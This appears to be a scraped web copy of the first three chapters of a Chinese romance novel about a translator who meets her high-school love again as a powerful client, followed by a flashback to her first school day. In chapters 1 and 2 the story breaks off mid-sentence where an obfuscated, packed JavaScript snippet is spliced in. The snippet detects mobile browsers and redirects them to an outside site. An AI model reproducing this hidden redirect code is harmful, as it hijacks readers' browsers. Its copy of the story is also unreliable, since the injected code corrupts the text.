《沉溺晚风》 1. 第 1 章 闷热,干燥,无风。 姜挽没想到,她回北城的第一个夏季,竟和当年丝毫没有差别。 虽然空调开着,可光照强,温度高,阳光从东边的窗户照进来,仍将她的左侧脸颊照得发烫。 翻译正进行到关键部分,姜挽不习惯中途停下,本想着处理完这些再换位置,门外突然响起一阵敲门声,接着玻璃门被推开,迎面走来沈繁星飒爽的身影:“大美女,忙着呢。” 姜挽和她很熟,沈繁星既是她的学姐,也是她的老板,因此两人之间相处起来也就比较随便。 当初姜挽离开北城前往港城读书时,在港大认识了沈繁星,两人同为英语专业,只不过沈繁星比她大了两届。毕业后二人又恰巧在同一家公司任职,成为同事。两年前沈繁星从当时那家公司离职,回到北城创办了“佳译翻译”,今年便把姜挽也请了回来。 沈繁星笑着走过来,她步子迈得大,走起路来风风火火的,几步便来到姜挽眼前:“先把你手头的活放一放,我有个好消息要告诉你。” “什么好消息?”说这话时,姜挽并未抬头,眼神仍盯着电脑屏幕,和沈繁星口中的好消息相比,显然她更在意眼前的这些翻译内容。 “哎,我怎么感觉你一点兴趣都没有呢,”沈繁星拉开她办公桌对面的凳子,一屁股坐下,“要不,你先猜猜,我直接说的话,多没意思。” “我不猜,没时间呢,ST的项目翻译明天就得交稿,我今天得弄完。”思绪既然被打断,姜挽索性起身换位置。 行走间,阳光落在她眉眼处,似笼着一层纱幕。 身体一转,她和沈繁星坐在一排,恰巧被窗帘挡住,不知是光线还是角度什么的,那张脸被衬得愈发精致,就连投在墙上的影子,都透着一股别致的风情。 沈繁星视线随着她动,忍不住开口:“我去,今天又是被美颜暴击的一天!” 姜挽催她:“有什么事你快说,我这真忙着呢。” 她们两人之间的说话方式一直都是如此,直来直去的。 “你先停下,什么都没有我接下来要说的这件事情重要!”沈繁星终于想起了自己来找她的目的,“GSC你知道吧,我们拿到他们的项目了!据说是他们公司今年的主推业务,还是和国外的合资,好几个亿的大项目,翻译这块儿被我们拿下来了!” 姜挽微愣,手上的动作也停了下来,与其说是不信,不如说是震惊更为合适:“你说GSC?” 那可是北城地产界有名的龙头企业,别说和这种公司合作了,以往就是他们出席的商业会谈,“佳译”也都是没资格参加的。 “没错,就是GSC,我亲自参加的投标,而且连中标通知书都收到了。”沈繁星打开邮箱,将手机递过去,因为激动,她眼睫微微有些抖。 白纸黑字,清清楚楚写着GSC和他们公司的名字,还有项目名称和红章。到这一刻,姜挽才真正相信。 “还真是!”她不由笑起来,两只眼睛一弯,像拱桥,又好似新月,“你是怎么操作的?怎么之前从没听你提过?” “我前段时间偶然在网上看到他们的招标公告,就开始准备了,本来也没想着能中,只是抱着陪跑的心态,所以一直也就没说,没想到还真中了。” 听她这么说,姜挽只觉得魔幻:“这么简单?” 这么大的公司,这么大的项目,项目定标如此随意的吗。 “是啊,就这么简单。” “那标书你是怎么准备的?” “就按招标公告的要求呗,有的我就提供,没有的就直接说明,”沈繁星开始回忆,“对了,要求的资料里还包括一个公司介绍,翻译专家那里我写了你的名字。” 姜挽无奈:“专家?我怎么能算专家呢?” 沈繁星顶回去:“你怎么不能算?不管是学历,经验,还是能力,你哪里不够了?不过是年纪小了点。可这个社会上少年成名,天才少女的案例多的是,所以啊,在我们公司,你就是!” 姜挽几乎被她打败,和沈繁星论口舌,她从来没赢过:“随你说吧,不过我总觉得这中标有些太轻易了,北城那么多翻译公司,怎么就偏偏选了我们?” 沈繁星偏头望着她,为了安慰吧,也可能是想让她宽心:“先别想那么多了,咱们公司再不济,也是有很多经验的。再说了,现在又有你了,重大会议的同传都做过,难道还担心这些。” “可是……” 姜挽还想再说些什么,被沈繁星打断:“你只需要告诉我,钱,你想不想要?” 姜挽支支吾吾半天,最终还是吐出一个“想”字。 沈繁星笑了:“那不就结了,下周和GSC有个见面会,你和我一起去啊。” “我吗?” “对啊。” “要不换其他人吧,我这事情太多,实在忙不过来。” 沈繁星果断斩断她的后路:“不行,事情太多你就分出去,你手下不是还有两个翻译员。” 她转身,正对着姜挽,用一种再真诚不过的语气:“GSC这么大的公司,这么大的业务,你知道的,做好这单,以后我们就会有源源不断的资源。这不仅是一桩生意,更关乎公司的未来和发展,所以,我只信得过你。” 姜挽:“……” 那她还能说什么。 周五,连续不断的高温天气终于有所缓解。 今天是和GSC公司见面的日子,姜挽和沈繁星约好在地铁站碰面,两人刚一遇上,沈繁星便开口唠叨:“你怎么穿成这样?” 姜挽被她说得一愣,低头看了眼自己今天这身装扮,很常规的通勤套装,没什么问题,可也担心有什么没考虑到的地方:“怎么了?我这套不合适吗?” 沈繁星摇头:“不是合不合适的问题,是整体方向就不对,”她往周围看了一圈,随便指了个摩登女郎给姜挽看,“这种,你就应该穿这种,大波浪加紧身裙,才能吸引别人的注意。” 姜挽一开始还有些愣,反应过来后,推了她一把:“我是翻译,我穿成这样干嘛。” 沈繁星讪讪,觉得她说的也有道理:“行吧,反正你不穿成那样,也够好看的了。” 地铁站离GSC大厦不远,出了站,直走二百米,再横穿一条马路便是。距离虽不远,可从地铁站到进入GSC大楼,她们还是花了半个小时的时间。 主要是GSC的门禁太严了,外来访客入内,除了必要的登记外,还必须得有内部工作人员来接。 耽搁了许久,两人才最终被带入会议室,沈繁星性子直,一坐下便开始念叨:“这大公司就是不一样,光是进门就折腾这么长时间,这以后合作起来还不得麻烦死。” 姜挽没搭话,推了推她的手腕,让她别说太多。她们今天是代表“佳译”的老板和翻译来参加这场会议的,无关重要的话题最好少说。 沈繁星虽性格急点,可脑子活,反应也快,当下便明白了姜挽的意思。她没再说话,而是从包里拿出笔记本电脑,默默看着项目资料。 姜挽也没再开口,一时间气氛安静,只有敲击键盘和鼠标滚动的声音。 就这么等了十几分钟,对方终于姗姗来迟,来人一行四个,皆是西装革履的打扮,虽说态度和善,语气也客气,可从他们那微垂的眼尾和始终不肯松懈的嘴角,姜挽还是感觉到了一股所谓精英人士特有的冷漠和傲慢。 会议正式开始前,免不了要介绍和寒暄,大公司组织结构明确,职责划分清晰,从他们刚才的话中,姜挽了解到,对面的四个人分别来自管理,技术,商务和质量部门,基本是一个项目实施过程中最重要的基础部门。 看来,GSC对这个项目还是很看重的。 她们这边,当然也做了相应的介绍,只不过大部分内容都集中在姜挽身上,一则她们主要负责翻译,突出翻译员的能力即可。二则,对于公司这块,她们也着实没什么太多要说的。 一切准备工作完成,见着人也差不多到齐了,沈繁星便主动询问,会议是否能够正式开始了。 哪知对方却答,他们还有一位领导没来,让她们再等等。 姜挽她们便又等,又过了十几分钟,门外才终于传来一阵由远及近的脚步声。 只是脚步声,对面的那几个人便立马起身,想来应该是大人物,姜挽和沈繁星也一同起身站着。 隔着一道门,听见有人在叫“陈总”,几乎是本能反应,姜挽的心口猛地颤了一下,仿佛漏跳了半拍。 这么多年过去了,尽管知道对方不可能是他,可突然听到这个姓,她的第一反应却还是不可避免地想到他。 姜挽垂着眼睫,调整好自己的情绪,再次抬眸时,百叶玻璃门恰巧从外面被拉开,一瞬间,门外那道颀长的身影映入眼帘,她当场愣在原地…… 陈屿? 还真是他…… 耳侧有交谈的声音,眼前是晃动的人影,可这一刻,姜挽却什么也听不懂,看不见了,她的眼中只有陈屿。没想到,分别八年,两人竟会以这种形式再次重逢。 他变了,却也没变。 变的是身材和气质,像是小树长成了松柏,青涩被成熟所代替,比高中时更挺拔,也更沉稳了。而且,在高级手工定制西装和各类奢侈品的映衬下,浑身上下皆透着一股上位者的凛然和霸气。 不变的却是他那张脸,还和高中时一样出众,无论在什么场合,必然都会是全场的焦点和中心。 许是她出神太久,旁边的沈繁星忍不住扯了扯她的袖子,姜挽忙回神,从名片夹里取出一张名片,和沈繁星一同递上。 名片被陈屿接过,他粗粗看了一眼,继而递上自己的。 他和沈繁星说了什么,姜挽完全没听见,只记得他给自己递名片时,客气地伸出了手:“你好,姜小姐。初次见面,幸会。” 一个正常的成年人,是不会对自己高中时期的经历完全没印象的。所以,他现在之所以会把她当做陌生人,原因只有一个,那就是他厌恶她,厌恶到了要和她假装不认识的地步。 姜挽抬眸,和他视线对上,神色如常,平静得好似一汪湖水,可只有她自己知道,这底下的波涛和暗流有多么汹涌。 她伸出手:“您好,陈总。” 离得近了,能闻到他身上那股淡淡的香味,像是雪松和烟草的混合,这些都让姜挽觉得陌生。还有此刻他看着她的眼神,漆黑深邃,却冷得像一块冰。 只一个刹那,接触的指尖瞬间分开。 他的掌心温暖干燥,可姜挽却只觉得冰冷和寒气。仿佛掉进了冰窖,那寒意像是活了,透彻心扉,一口一口要将她吞噬。 会议主要分为两部分,先由GSC的人介绍整个项目的情况,再由佳译这边来分享自己的准备,主要是一些成功案例和翻译人员的介绍。 公司和案例的部分,沈繁星可以自己来,可涉及到翻译这块,还是姜挽比较专业。 许是也察觉到了她今日的反常,沈繁星朝她看过来,神色有些担忧。姜挽点点头,让她放心。 她这会儿基本已经从刚才的震惊和无措中恢复过来了,这几年的磨练,不仅造就了她出色的工作能力,还给了她一颗强大的心脏。不管上一秒有多么痛苦,多么难捱,只要工作需要,她下一秒便可瞬间拿出专业的态度来面对。 果然,在她介绍完后,原本脸色略显严肃的GSC人员,眉头舒展了不少。连多余的问题也没有,只是将这个项目的重点内容再次强调了下。 就在大家都以为此次会议很成功,双方都很满意的情况下,一直没发言的陈屿却突然在此时开了口。 “听下来,你们公司规模不大,对此类房地产项目的翻译经验也不是很多,所以,你们接这个项目的目的不会是为了练手,玩儿什么成长类的游戏吧?” 他双腿交叠,身体微微往后仰,眼睫微垂着,冷漠且淡定地打量着姜挽和沈繁星。 明明没发火,语气也还是刚才那般,可无端就是让人觉得压迫。 沈繁星忙开口解释:“陈总,怎么会呢,能和GSC合作是我们公司的荣幸,我们一定保证百分百认真对待。况且,经验我们虽不是很多,可胜在有能力强的翻译人员,您放心,这个项目交给佳译,一定会让您满意的。” “噢?是吗?”陈屿轻笑一声,“我自己都不知道哪种程度会让我满意。” 他侧过脸,随意看向姜挽,窗外光线落在他眉骨处,投下一片冷淡的阴影:“所以,这个项目的翻译能不能成功,就看姜小姐了?” 压力瞬间来到姜挽这边。 她们公司能拿到GSC的项目,说实话,姜挽自己都觉得不可思议,更别说甲方了。所以他有这种想法,对她不信任,她也是能够理解的。 “陈总,”她开口,尽量将自己的语气控制在专业和沉稳之间,像以往任何一次面对质疑时一样,坦诚而平等地表达自己的观点,“佳译的背景您也了解了,我相信贵司能够选择佳译,肯定也是看到了它不一样的地方。况且,翻译之间都有相通性,在佳译最不缺的就是学习能力和专业精神。所以,请您放心,对于GSC的项目,我们一定竭尽全力。” 可对于她的这番陈词,对面的陈屿看起来似乎不怎么买账,他指尖轻叩着桌面,倾身向前:“是吗?看来姜小姐你很自信啊。” 一时间,姜挽有些愣住了,这种语气,这种眼神,尖锐又讽刺,她以往从未在他的眼睛里看过。 她轻呼一口气:“我只是在陈述事实。” “可我并不喜欢说大话的人。” 话音落,姜挽没再继续接话,很明显,他是对她,对她们这家公司不满意了。 沈繁星出来缓和了两句,可没什么效果,对面的GSC人员也就没谁再敢开口了。 一来,他们老板不高兴,没人敢插嘴。二来,现在这种情形,和他们一开始了解到的情况实在是差别太大了,搞得他们都有些看不懂了。之前力排众议要用佳译这家翻译公司的是他们老板,如今在会上公然质疑她们的也是他,这领导的心思,转变得也太快了吧。 一时间,气氛陷入凝滞。 风声,空调运作声,还有窗外树影摇动的声音。 最终,陈屿像是乏了,抻了抻领带,从凳子上起身:“今天先这样吧,感谢二位。” 从GSC大厦出来,天色不知何时已经变暗了,方才进去时还晴空万里的大太阳,此刻连残影也不见了,只有远处堆积得越来越厚的乌云,昭然着接下来的风雨欲来。 此刻,比天色还要难看的,是姜挽和沈繁星的脸色。 两人不发一言,闷头往地铁站走,本来需要五分钟的路,两三分钟便到了。 等车的间隙,沈繁星抱怨:“这大公司就是麻烦,我本来以为都已经是板上钉钉的事儿了,没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448247|185196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想到还能闹这么一出。” “我觉得咱俩今天表现挺好的啊,他到底哪里不满意了?” “你说,这个项目他们要是真不让我们做了,咱能去告他吗?我估摸着应该可以吧,毕竟中标通知书都发了,怎么着也得赔偿违约金吧。” 沈繁星唠唠叨叨这么一大堆,却没听到姜挽的回复,正纳闷,一回头才发现她根本就没听,这丫头正对着屏蔽门发呆呢。 沈繁星以为她是被打击到了,伸手在她眼前晃了晃:“你没事吧?” 姜挽摇头,表情惨淡,声音更是涩然:“要不,这个项目你还是找公司的其他人做吧。” 这是她刚才思考了一路的结果,陈屿很有可能就是因为讨厌她,才连带着讨厌这个公司的。 “为什么?”沈繁星惊讶,更不理解,“我们之前不是都商量好了吗?难道你想在这个时候抛下我?” “我不是这个意思,”姜挽叹一口气,“刚才你也看到了,对方的领导对我有意见,再让我继续负责的话,这事怕是不能成了。” 说出这句话,她心里刀剜似的痛。 “他那是对你有意见吗?明显是对我们公司有意见啊。” 地铁来了,呼啸而过带起一阵凉风。 沈繁星拉着她上去,这会儿不是下班高峰期,地铁上还有空位,两人在座椅上坐下,沈繁星继续开口,“不过也可以理解,大公司嘛,有点脾气是正常的。试想一下,我要是有这么大的公司,这么好的项目,我都不敢想象我会拽成什么样。别说是乙方了,就算是路边的狗,看它不顺眼,我都有可能会踹两脚。” 姜挽明显没被她安慰到,仍拧着眉头:“可我……我怕自己做不好。” 沈繁星简直震惊,声音一瞬间高出许多:“姜挽,你别告诉我,你这是对自己不自信啊!当年在港城的时候,你才刚毕业,一场同声传译下来,也几乎没人能挑出错。还有每次的翻译,多少打压,多少质疑你都挺过来了,从没有一次怀疑过自己。你别告诉我,今天就因为对方的几句话,你就开始怀疑自己了?这可不是我认识的那个你。在我眼里,别人的看法,你从来都是不在乎的。” 姜挽被她说得哑口无言。 沈繁星说得对,她披荆斩棘,她勇往直前,她从不在乎其他人的看法,可那些都是其他人。陈屿和他们不同,她在乎他,自然也就会在意他的看法。 她越是不吭声,沈繁星就越觉得奇怪,突然,沈繁星不再开口了,目光灼灼地盯着她。 姜挽被她看得发毛,忍不住摸了摸自己的脸:“怎么了,我脸上有东西吗?” “姜挽,你不对劲。”沈繁星眼珠一转,突然开口,“你不会和刚才那个陈总之前就认识,有过什么吧?所以才会对他说的话格外在意?” 姜挽没想到她猜得这么准,脸色“刷”的一下就变了:“怎么会,他那种阶层的人,我怎么可能接触得到,我就是有点担心而已。” “也对,”沈繁星点头,她本来也就是乱猜的,“其实你要是因为他刚才的那些话害怕,实在是没有必要。像他这种级别的人物,也就第一场会议出来震震场子罢了,以后估计一次都遇不上。” “现在的问题是,人家对我们不满意,不愿意要我们。”姜挽抛出关键问题。 沈繁星也觉得无奈:“先这样吧,下周再说,我看要不要找个时间再和他们聊聊,好好做做公关。” 也只能如此了。 出了地铁站,果然落雨了。 沈繁星比她住得近,早两站已经下车了,好在姜挽包里常年备着雨伞,才不至于被淋成落汤鸡。可雨势太大,又有风,从地铁站到家的那段距离,她还是被淋湿了。 到了家,姜挽先去洗澡。这儿的房子是她和另外两个女孩合租的,一人一个单间,卫生间共用。虽说人是不少,可好在都是女孩,平时上班的时间又能错开,这段时间相触下来,倒也还算融洽。 洗完澡,她又简单给自己弄了点吃的,快速吃完后,这才回到卧室。 正打算开电脑,突然听到手机铃声响,这一看,才发现,已经有四五个未接来电了,全是来自沈繁星。 姜挽还以为出什么事了,忙接起来,可没想到电话里沈繁星声音听起来却不像是担忧,反而很激动:“刚才GSC的人给我打电话了,说这个项目没问题了,下周就可以签合同!” “真的?”姜挽也挺激动。 从她们离开GSC到现在,不过也才两个小时而已,这么短的时间内,对方就改变主意了,还真是……忽上忽下的。 “他们有说是因为什么吗?” “这个倒没有,”电话里,沈繁星的声音听起来有些急,“哎呀,其他的我先不和你说了,我就是迫不及待要把这个好消息告诉你。对方把合同版本都发过来了,我得先去研究研究,有问题我们微信再联系。” 说罢,不待姜挽回答,沈繁星便挂了电话,她就是这样一个风风火火的性格,大学时就是如此,这么些年,姜挽早习惯了。 她只是,有些不明白陈屿的想法。 挂了电话,姜挽有些发愣。一想到陈屿,下午开会时他那冷漠的表情和冰冷的眼神便再次映入脑海,还有他身上的烟味,一切的一切,都让她觉得好陌生…… 其实,陈屿平日里抽烟并不多,也就是这段时间,从得知她的消息,见到她的名字,知道要和她见面开始。 还有现在,从下午看着她的背影从GSC大厦离开,直到这会儿,他手中的烟就没断过。 下属进来汇报,差点被这满屋的烟味和烟雾吓到:“陈总,已经按您的吩咐通知佳译了,合同也已经发给她们了,没有问题的话,下周就可以签订。” “好,”陈屿吸一口烟,再喷出来,烟雾缭绕间,看不大清他的表情,“这个项目,尽快启动。” 下属领命退了出去,陈屿这才将手中一直掩着的东西露了出来,是姜挽的那张名片。 他微眯着眼,轻轻摩挲着,渐渐的,手劲儿增大,心头的情绪也渐浓,这么多年,你终于舍得回来了…… “啪嗒”一声,名片掉在地上,姜挽刚才不小心走神了,没拿稳,她忙弯腰去捡。 是下午陈屿给她的那张。 一张顶简洁的纯白棉纸名片,周身镀一圈淡色的金边,印着他的名字,电话,还有职务。 捏在手里,是那种松厚细腻的感觉。 捡起来后,姜挽将它放进床头柜的抽屉里。这个抽屉里的东西很多,也都很旧,乍一看,甚至有些杂乱。 太长时间没看了,猛地看到这些,她还是会觉得心头酸涩。这么多年,无论是从北城到港城,还是从港城再回到北城,她搬过很多次家,也换过很多个地方,很多东西都在不经意间遗失了,只有这些,她从未落下过,陪了她一年又一年。 眼泪是什么时候落下的,姜挽不知道。 这么多年的颠沛流离,生活磨难,她本以为她早已经心如磐石,再不会有任何软肋了。可没想到,今日这么一遭却突然发现,自己的软肋竟会是他,还是以这样的方式暴露出来。 在这堆东西里,有一本封面墨绿的笔记本,记载着她过去的那些年。因为常年没用,纸张有些泛黄,指尖抚上去,能感觉到一层细灰。 在这万世浮尘中,在这浮光掠影里,白皙清瘦的指尖轻轻将它翻开,如同翻开一段尘封许久的往事。 2. 第 2 章 日记的第一页,第一句话,是这样写的: 九月一日,晴,我来到北城八中。 闷热,干燥,无风。 这是姜挽对北城夏日最直观的感受,虽然在此之前她已经提前一个月过来了,可还是觉得无法适应。就像她没办法适应父亲的突然离世,和搬离那个潮湿多雨的江城。 八中很大,她不敢随意乱走,一路沿着指示牌,确保自己能找到正确的方向。她和班主任提前约好了时间,需要先去办公室报到。 这个点的校园没什么人,学生基本都已经进教室了,阳光从树叶间照下来,有一点树影婆娑的意思。 陈屿今天起得晚,送他的车子又在路上出了故障,所以不得不半路拦了的士过来。这么一折腾,到学校就已经是这个点了。 不过他并不着急,开学第一天总是那些事,他早就倦了。就这么晃悠着朝教室走,却突然在路上遇见了一个女孩的身影。 一开始陈屿以为是和他一样迟到的,也就没在意。可很快又觉得不像。对方没穿校服,且走得很慢,尤其是在分岔路口的时候,总会停下来看看指示牌,看样子应该是新来的。 对这些,陈屿没什么兴趣,正要走,那女孩突然停了下来,转身朝四周打量,应该是在辨别方向。 就是这一眼,让陈屿硬生生停下了脚步。 对方穿着白T和蓝色牛仔裤,白T扎进腰间,牛仔裤垂至脚踝。背上一个同色系帆布背包,发色深黑,皮肤白皙。转身的间隙,带着卷的发尾在空中微微晃动。 很普通的打扮,可在她身上,却有种难掩的清丽。像百合,又似翠竹,就那么一缕天光,一抹绿波似的撞进了陈屿眼里。 他能看见她,可因为角度还是树影什么的,她却看不见他。 就这么看着,等她最终决定了方向,陈屿才离开。 他和她,是相反的方向,可走了一半,陈屿还是忍不住回头看,从越来越模糊的视线里,他看见她的身影逐渐消失在拐角处。 走到拐角,姜挽又退回来重新看了一遍指示牌,她方向感不好,总担心走错路。视线在周围绕一圈又回来,路线终是确认了,可始终也没发现那个少年的身影。 到了办公室,韩老师已经在了,他四十左右的年纪,国字脸,留着短胡髭。鼻梁上架一副黑框眼镜,神色严肃,可说起话来却又语气温和,让姜挽体会到了一种外貌和声音不相符的倒错感。 “具体细节你舅舅已经和我对接好了,你在这里签个字就行。” “好的。” 韩华递过来一张签字页,姜挽接过,拿起旁边的中性笔写上自己的名字:“老师,您看下,这样可以吗?” 她这次转学来北城八中,全程都是她舅舅帮忙安排的。听她妈妈说,她舅舅如今在北城教育圈混得不错,是某所高中的领导,平时说话都是有分量的。也正因为如此,她这次的转学才会办得如此顺利。 可她妈妈也交代过她,回了北城,如今她们是借住在舅舅家,是属于寄人篱下。凡事不能争,也不能抢,一定要守规矩,尽量不要给人家添麻烦。 “可以,”韩华收回文件,又将桌上提前准备好的一套书本递给她,“走,我先带你回教室,和同学们认识认识。” 一路,姜挽都是默默跟在他身后,许是感觉到了她的紧绷,韩华开口:“你也别太紧张了,没必要被转学影响太多。你在之前学校的成绩单我看过了,除了数学,其他学科都是出类拔萃的。” 遇到拐角,他刻意停步,等着姜挽跟上来和他并齐,“这里的教学和试题虽说不会和你之前的一模一样,但也都是大同小异,你先适应适应,相信很快就会跟上。” 姜挽成绩好,在之前的学校也一直都是老师表扬的对象。可今天这次似乎不大一样,陌生的环境,不安的心理,能得到老师的一份鼓励,安慰的作用远大于激励。 “谢谢您。” “没事,以后有事你随时都可以找我。” 一路过去,韩华又将目前高三年级的大致情况和她说了一遍。 在八中,高三年级目前一共有二十个班。十二个文科,八个理科。姜挽所在的高三二班是理科中的重点班,每次考试的年纪第一基本都出自这里。 说到这里,韩华很是骄傲,能看出来他心情不错,所以话题也就扯得远了点:“我们这个年级第一啊,叫陈屿,和你一样,也是个偏科的孩子。不过他和你学科不一样,他是语文有点弱,以后认识了,说不定你们还可以互相补补。” 这是姜挽第一次从老师口中听到同班同学的名字,她很诚恳:“好的,我知道了,以后一定多和这位同学学习。” “学习谈不上,就是互相帮助,我们这位年级第一啊,性格有点……”说到一半,韩华似乎没找到合适的词来形容,性格有点狂,有点痞,都是陈屿的特点。可和刚转学过来的同学说这些,似乎又有些不大合适。 恰巧来到班级门口,话题自然也就断了。隔着玻璃看,教室里还是有些热闹的,也不知是谁喊了一声“老班来了”,原本嘈杂哄乱的教室瞬间安静下来。 韩华轻“咳”一声,迈步朝里走,姜挽抱着一摞书跟在他身后。她一出现,教室便再次热闹起来,不过这次不是嘈杂,而是窃窃私语。 “都安静,我有话要说。”韩华抬手敲了敲讲台,底下几十双眼睛瞬间便朝他看了过来,“我们班今年新转来一位同学,名字叫‘姜挽’,以后会和大家一起学习,成为我们班级的一份子,大家掌声欢迎!” 姜挽站在一旁,略有些局促,她不大会应付这种场合,浑身都很紧绷。好在这“欢迎仪式”也就只进行了一会儿,接下来便是一个简单的自我介绍。 “大家好,我叫‘姜挽’,从江城转学过来,希望大家以后多多关照。” 又是一阵掌声,隐约中还能听到几声夹杂的议论。 “陈屿,你快起来,你他妈怎么还在睡!我们班来大美女了,你快起来看!” 被叫的人显然对这个话题没兴趣,换了个姿势,继续将脸埋进胳膊里。 “真的,我不骗你!骗你是孙子!”孟云程有些急了,“你赶紧起来看呀,一会儿没机会了。”身后的课桌被他撞得晃动,他压低声音,“就穿一身白T和牛仔裤,别提多清纯了!我还是第一次……” 后面的话,他没说完,也没必要了,因为陈屿已经起来了。 这小子也不知道怎么回事,听到“白T和牛仔裤”几个字后,情绪少见的反常,不仅搭理他了,眼神更是落在台上后,便再没移开过。 孟云程看他出神,忍不住在他耳边得瑟:“怎么样?我没骗你吧?” 陈屿这会儿所有的注意力都集中在台上,对他的话压根没听见。 深黑的发色,微卷的发尾,就那么端正地站着…… 阳光透过窗户照进来,在他头顶处倏忽变幻着光斑,陈屿不禁有些恍惚,还真是她? 方才还在自己脑子里的人,这会儿真就这么出现在眼前了? “你怎么了?”前排的孟云程再次回头,见他这样,表情已经由一开始的得瑟变为惊讶了,“不会是看傻了吧?” 陈屿垂着眼看他一眼,没说话,恰巧上课铃声响,孟云程便识趣地回了头。 一瞬间,教室里“哗哗的”全是翻书的声音,重点班就是这点好,无论课间闹得多厉害,玩得多疯,一到上课时间,大家便很快就能投入到学习中。 下一节不是韩华的课,他需要先给姜挽安排一个座位,一圈看下来,除了陈屿旁边,就还剩最后一排的角落有个空位了。 他没多想,指向陈屿旁边的位置:“就那里吧, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448248|185196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈屿旁边还有个空位,你先去那坐。” 听到这个名字,姜挽本能地抬头去看,这个名字她有印象,刚才来的路上韩老师和她提过。 她知道会是个男生,只是没想到会长得这么好看。 座位上的男生很白,五官凛冽深邃,一头黑色短发,几缕垂在额前。他坐姿很懒散,表情更是酷酷的,一眼看过去,像是不大爱搭理人。 她在看人家,人家也在看她,只是眼神很淡,两人的视线在空中稍一对视,很快分开。 还不待姜挽走过去,他便已经低下了头,这样子,很明显是不想和她搭话,姜挽坐下后也就自觉地没开口,默默整理着自己的东西,尽量不发出多余的声音。 这一节是英语课,姜挽的英语基础不错,而且来北城这一个月,她也提前做了很多预习,所以一节课下来,她倒是都能跟得上,并且对这里老师的讲课风格也有了大致的了解。 很快下课铃声响起,学生们稀稀拉拉地往外走,期间还夹杂着说话声,教室里瞬间便又恢复了刚才那副喧闹的场景。 姜挽正打算拿出书本预习下一节课的内容,前排斜对角的男生却突然转身和她打招呼:“你好,我叫‘孟云程’,欢迎你加入高三二班。” “你好,我叫‘姜挽’。” 姜挽不大会应对生人,以前在江城上学的时候她也没什么朋友,这会儿说完这句,便不知该如何继续了。 好在孟云程是个话多的性子,不用她回答,便自顾自开始介绍:“你刚来,肯定有很多不懂的地方,以后遇到问题不要客气,直接问我就行。” 姜挽觉得他性格很好,也就跟着放松了些:“好的,谢谢你。” “没事,”孟云程大喇喇地摆手,想了想,又补充道,“生活的事情你都可以问我,但是关于学习的,你最好还是问你同桌,”他指尖在陈屿的课桌上敲了敲,“你同桌可是我们学校的年级第一,只要是关于学习的问题,就没有他不知道的。” 虽说他们聊的是“陈屿”,可姜挽从头到尾都没听到陈屿开口说一句话,也没见他抬一次头,她弄不清人家的意思,也就不敢擅自开口。 孟云程看出来了,撞了下陈屿的胳膊,语气含着笑:“你今天怎么回事?平时话挺多的啊,怎么这会儿突然不开口了,像个闷葫芦似的。” 陈屿没回答,像是嫌他烦似的,直接换了话题:“还去不去了?” 他指的是去小卖部的事,刚才孟云程一直求他来着,当然不能错过了:“去,去,当然去了!你请客,我当然得去。” 孟云程回身开始收拾东西,还不忘和姜挽念叨:“他就这样,爱装酷,你不用介意。对了,还有我同桌,她叫‘尤伽’,今天没来,明天你就能见到了。” 姜挽点点头:“好的。” 与人聊天的过程中,她一般都是聆听居多,见着孟云程没后话了,这才把注意力又重新放回了书本上。 可没多会儿,她却突然觉得自己的头顶多了一片阴影,抬头看,才发现陈屿不知何时已经站起来了,正面对着她的方向。 她不知道他要干嘛,也就跟着起身,刚才坐着的时候没感觉,这会儿两个人都站着,她才充分感觉到了他的身高腿长,自己168的个子,也不过才到他下巴而已。 身高相差太多,气势莫名就矮了一截,再加上对方那副“不爱搭理人”的表情,姜挽莫名就觉得紧张:“怎……怎么了?” “我出去。”陈屿指指过道。 “哦,好。” 姜挽赶紧离开座位,朝旁边侧身,他们是两人的座位,陈屿的座位又靠墙,要出去,可不是得站起来从她这经过嘛。 陈屿走后,姜挽一直屏着的那口气才呼出来。她后知后觉地摸了摸脸颊,也不知是紧张还是什么的,这才发现自己的脸颊烫得厉害。 3. 第 3 章 下午放学的时候,天刚擦黑。夕阳拖着橙黄的尾巴隐入云层,半边天都泛着未尽的旖旎之意。 姜挽从公交车上下来,沈曼已经在站台等她了,还穿着早上出门时的那身套装,显然是没来得及回家换,一下班便在这里等着了。 沈曼和她身高体型差不多,虽说如今上了年纪,但胜在气质好,优雅端庄得仿佛一只白天鹅,人群中很显眼,身边路过的行人基本都会回头看两眼。 姜挽朝她走过去:“妈。” 沈曼一见她便笑了,虽然是尽力扯出的一个:“怎么样?累不累?今天上学还适应吗?” “不累,挺适应的。” 沈曼抬手摸了摸她的头,两人并肩朝回走:“认识新同学了吗?和大家相处都还合得来吧?” 一刹那,姜挽脑海中闪过陈屿那张“不怎么爱搭理人”的冷脸,可她还是点点头:“嗯,大家都挺好的。” “那就好,这样我就放心了,我今天上班一直想着你的事,还担心你没办法适应呢。” “我都挺好的,”既然话题聊到这,姜挽也就顺势开口,“对了,妈,你以后可以不用专门在站台等我,这里离舅舅家不远,我可以自己回去的。” 脚下有小石子,沈曼提醒她小心:“这刚开始,我怕你人生地不熟的,不来接你我不放心,以后再看吧。” 说着,她要来提姜挽的书包,姜挽没让:“没事,我可以自己背,不重的。” 也是这一拉一扯的动作,让姜挽注意到了她左手提着的水果,刚才被她的衣服挡住了:“买水果了吗?” 